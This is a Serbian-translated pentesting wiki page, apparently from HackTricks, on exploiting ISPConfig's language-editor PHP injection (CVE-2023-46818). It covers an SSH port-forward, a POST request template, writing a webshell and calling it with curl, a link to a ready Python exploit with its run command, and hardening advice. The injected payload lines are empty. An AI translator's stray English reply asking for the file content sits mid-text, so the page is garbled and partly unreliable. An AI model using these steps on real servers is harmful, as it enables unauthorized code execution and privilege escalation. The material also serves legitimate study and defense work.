# ISPConfig {{#include ../../banners/hacktricks-training.md}} ## Pregled ISPConfig je open-source kontrolni panel za hosting. Starije 3.2.x verzije su imale opciju urednika jezičkih fajlova koja, kada je omogućena za super administratora, dozvoljavala arbitrary PHP code injection putem malformiranog zapisa prevoda. Ovo može dovesti do RCE u kontekstu web servera i, u zavisnosti od načina izvršavanja PHP-a, privilege escalation. Ključne podrazumevane putanje: - Web root se često nalazi na `/var/www/ispconfig` kada se servira sa `php -S` ili preko Apache/nginx. - Admin UI dostupan na HTTP(S) vhost-u (ponekad vezan samo za localhost; koristite SSH port-forward ako je potrebno). Savet: Ako je panel vezan lokalno (npr. `127.0.0.1:8080`), prosledite ga: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` ## Language editor PHP code injection (CVE-2023-46818) - Pogođeno: ISPConfig do 3.2.11 (ispravljeno u 3.2.11p1) - Preduslovi: - Prijavite se kao ugrađeni superadmin nalog `admin` (prema dobavljaču, druge uloge nisu pogođene) - Uređivač jezika mora biti omogućen: `admin_allow_langedit=yes` u `/usr/local/ispconfig/security/security_settings.ini` - Uticaj: Autentifikovani admin može da ubaci proizvoljni PHP koji se upisuje u fajl jezika i izvršava od strane aplikacije, postižući RCE u web kontekstu References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. ### Ručna procedura eksploatacije 1) Otvorite/kreirajte fajl jezika da biste dobili CSRF tokene Pošaljite prvi POST da inicijalizujete formu i parsirate CSRF polja iz HTML odgovora (`csrf_id`, `csrf_key`). Primer putanje zahteva: `/admin/language_edit.php`. 2) Injektujte PHP preko records[] i sačuvajte Pošaljite drugi POST koji sadrži CSRF polja i maliciozni zapis prevoda. Minimalne provere za izvršavanje komandi: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 Content-Type: application/x-www-form-urlencoded Cookie: ispconfig_auth=... lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= ``` Out-of-band test (posmatrajte ICMP): ```http records[]= ``` 3) Kreiranje fajlova i postavljanje webshell-a Koristite `file_put_contents` da kreirate fajl u web-dostupnoj putanji (npr., `admin/`): ```http records[]= ``` Zatim napišite jednostavan webshell koristeći base64 da biste izbegli nepoželjne karaktere u POST telu: ```http records[]= ``` I don't have the contents of src/network-services-pentesting/pentesting-web/ispconfig.md. Please paste the file content you want translated (or attach it). I'll translate the English text to Serbian while keeping all markdown, code, links and tags unchanged as you requested. ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` Ako se PHP izvršava kao root (npr. preko `php -S 127.0.0.1:8080` pokrenutog od strane root), ovo daje trenutni root RCE. U suprotnom, dobijate izvršavanje koda kao korisnik web servera. ### Python PoC Spreman za upotrebu exploit automatizuje rukovanje tokenima i isporuku payload-a: - https://github.com/bipbopbup/CVE-2023-46818-python-exploit Primer pokretanja: ```bash python3 cve-2023-46818.py http://127.0.0.1:9001 admin ``` ### Pojačavanje bezbednosti - Ažurirajte na 3.2.11p1 ili noviju verziju - Onemogućite uređivač jezika osim ako nije neophodan: ``` admin_allow_langedit=no ``` - Izbegavajte pokretanje panela kao root; konfigurišite PHP-FPM ili web server da spuste privilegije - Obezbedite snažnu autentifikaciju za ugrađeni `admin` nalog ## Izvori - [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/) - [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818) - [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) - [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../../banners/hacktricks-training.md}}